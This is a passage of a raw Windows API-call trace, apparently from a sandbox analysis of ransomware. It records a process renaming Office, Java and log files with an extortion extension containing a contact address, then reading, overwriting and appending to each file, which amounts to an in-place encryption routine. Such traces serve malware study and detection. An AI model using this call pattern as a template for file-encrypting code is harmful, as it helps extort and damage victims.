MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.949] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MID821~1.FIR")) returned 0x6d5380 [0104.949] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0104.949] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x674 [0104.950] GetProcessHeap () returned 0x630000 [0104.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f77358 [0104.950] GetProcessHeap () returned 0x630000 [0104.950] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f82788 [0104.951] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.951] ReadFile (in: hFile=0x674, lpBuffer=0x6f77358, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f77358*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.875] GetProcessHeap () returned 0x630000 [0112.876] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0112.876] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.876] WriteFile (in: hFile=0x674, lpBuffer=0x6f82788*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f82788*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.876] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.876] WriteFile (in: hFile=0x674, lpBuffer=0x6f8db87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f8db87*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.876] SetFilePointerEx (in: hFile=0x674, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.876] WriteFile (in: hFile=0x674, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.877] CloseHandle (hObject=0x674) returned 1 [0112.878] GetProcessHeap () returned 0x630000 [0112.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f82788 | out: hHeap=0x630000) returned 1 [0112.878] GetProcessHeap () returned 0x630000 [0112.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f77358 | out: hHeap=0x630000) returned 1 [0112.878] GetProcessHeap () returned 0x630000 [0112.878] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0112.878] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.878] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x939a7fd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xc1c7496, dwReserved1=0x6f77350, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MID821~1.FIR")) returned 0x6d52c0 [0112.879] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0112.879] Sleep (dwMilliseconds=0x1) [0113.712] Sleep (dwMilliseconds=0x1) [0114.308] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat", len=0x42 | out: pbstr=0x333ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 1 [0114.308] GetProcessHeap () returned 0x630000 [0114.308] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed5dd0, Size=0x28) returned 0x699768 [0114.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.312] Sleep (dwMilliseconds=0x1) [0114.885] Sleep (dwMilliseconds=0x1) [0115.139] Sleep (dwMilliseconds=0x1) [0115.500] Sleep (dwMilliseconds=0x1) [0115.906] Sleep (dwMilliseconds=0x1) [0117.153] Sleep (dwMilliseconds=0x1) [0117.171] Sleep (dwMilliseconds=0x1) [0117.184] Sleep (dwMilliseconds=0x1) [0117.563] Sleep (dwMilliseconds=0x1) [0117.654] Sleep (dwMilliseconds=0x1) [0117.679] Sleep (dwMilliseconds=0x1) [0117.686] Sleep (dwMilliseconds=0x1) [0117.704] Sleep (dwMilliseconds=0x1) [0117.717] Sleep (dwMilliseconds=0x1) [0123.304] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 1 [0123.304] GetProcessHeap () returned 0x630000 [0123.304] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x194) returned 0x66a3e0 [0123.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0123.308] CloseHandle (hObject=0x6c0) returned 1 [0123.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.336] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8351d7a8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfdea, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP4BC9~1.FIR")) returned 0x6d5200 [0123.337] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c0 [0123.337] GetProcessHeap () returned 0x630000 [0123.337] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x714c008 [0123.337] GetProcessHeap () returned 0x630000 [0123.337] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7157438 [0123.337] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.338] ReadFile (in: hFile=0x6c0, lpBuffer=0x714c008, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714c008*, lpNumberOfBytesRead=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0128.105] GetProcessHeap () returned 0x630000 [0128.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0128.105] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.105] WriteFile (in: hFile=0x6c0, lpBuffer=0x7157438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7157438*, lpNumberOfBytesWritten=0x333ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0129.999] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.999] WriteFile (in: hFile=0x6c0, lpBuffer=0x7162837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162837*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0130.000] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.008] WriteFile (in: hFile=0x6c0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0130.008] CloseHandle (hObject=0x6c0) returned 1 [0130.010] GetProcessHeap () returned 0x630000 [0130.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7157438 | out: hHeap=0x630000) returned 1 [0130.010] GetProcessHeap () returned 0x630000 [0130.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714c008 | out: hHeap=0x630000) returned 1 [0130.010] GetProcessHeap () returned 0x630000 [0130.010] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0131.534] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0131.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x13716a55, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfe0e, dwReserved0=0xc1c7496, dwReserved1=0x714c000, cFileName="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP4BC9~1.FIR")) returned 0x6d4f00 [0131.534] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0131.534] Sleep (dwMilliseconds=0x1) [0131.538] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties", len=0x41 | out: pbstr=0x333ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 1 [0131.538] GetProcessHeap () returned 0x630000 [0131.538] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x34) returned 0x66a3e0 [0131.538] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0134.439] CloseHandle (hObject=0x69c) returned 1 [0134.439] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0134.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0134.494] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.494] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ME71CD~1.FIR")) returned 0x6d5200 [0134.494] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0134.494] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0134.494] GetProcessHeap () returned 0x630000 [0134.494] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb41) returned 0x6f62f68 [0134.494] GetProcessHeap () returned 0x630000 [0134.494] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb41) returned 0x6e5368 [0134.494] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.494] ReadFile (in: hFile=0x4bc, lpBuffer=0x6f62f68, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f62f68*, lpNumberOfBytesRead=0x333ff0c*=0xb20, lpOverlapped=0x0) returned 1 [0134.506] GetProcessHeap () returned 0x630000 [0134.506] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0134.506] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.506] WriteFile (in: hFile=0x4bc, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x333ff0c*=0xb20, lpOverlapped=0x0) returned 1 [0134.507] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.507] WriteFile (in: hFile=0x4bc, lpBuffer=0x6e5e87*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5e87*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0134.507] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.507] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0134.507] CloseHandle (hObject=0x4bc) returned 1 [0134.508] GetProcessHeap () returned 0x630000 [0134.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0134.508] GetProcessHeap () returned 0x630000 [0134.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f62f68 | out: hHeap=0x630000) returned 1 [0134.508] GetProcessHeap () returned 0x630000 [0134.508] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0134.508] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0134.508] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fcc4 | out: lpFindFileData=0x333fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x161def77, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xb50, dwReserved0=0xc1c7496, dwReserved1=0x6f62f60, cFileName="messages.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ME71CD~1.FIR")) returned 0x6d5440 [0134.508] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0134.508] Sleep (dwMilliseconds=0x1) [0136.517] SysReAllocStringLen (in: pbstr=0x333ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF", len=0x43 | out: pbstr=0x333ff7c*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 1 [0136.517] GetProcessHeap () returned 0x630000 [0136.517] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x670860, Size=0x24c) returned 0x670860 [0136.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0136.517] CloseHandle (hObject=0x69c) returned 1 [0136.517] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0136.517] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0136.520] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.521] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x333fc6c | out: lpFindFileData=0x333fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd76a969, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd76a969, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd76a969, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2856, dwReserved0=0x0, dwReserved1=0x0, cFileName="CUPINST.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CUPINS~1.FIR")) returned 0x6d4f00 [0136.521] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0136.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0136.521] GetProcessHeap () returned 0x630000 [0136.521] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2861) returned 0x6f60af8 [0136.521] GetProcessHeap () returned 0x630000 [0136.521] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2861) returned 0x707ce20 [0136.521] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.521] ReadFile (in: hFile=0x69c, lpBuffer=0x6f60af8, nNumberOfBytesToRead=0x2840, lpNumberOfBytesRead=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f60af8*, lpNumberOfBytesRead=0x333ff0c*=0x2840, lpOverlapped=0x0) returned 1 [0138.398] GetProcessHeap () returned 0x630000 [0138.398] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0138.398] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.398] WriteFile (in: hFile=0x69c, lpBuffer=0x707ce20*, nNumberOfBytesToWrite=0x2840, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707ce20*, lpNumberOfBytesWritten=0x333ff0c*=0x2840, lpOverlapped=0x0) returned 1 [0138.399] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.399] WriteFile (in: hFile=0x69c, lpBuffer=0x707f65f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x707f65f*, lpNumberOfBytesWritten=0x333ff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.399] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.399] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x333ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x333ff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.399] CloseHandle (hObject=0x69c) returned 1 [0138.399] GetProcessHeap () returned 0x630000 [0138.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707ce20 | out: hHeap=0x630000) returned 1 [0138.402] GetProcessHeap () returned 0x630000 [0138.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f60af8 | out: hHeap=0x630000) returned 1 [0138.402] GetProcessHeap () returned 0x630000 [0138.403] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0138.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x333ef08, cchWideChar=2047 | out: 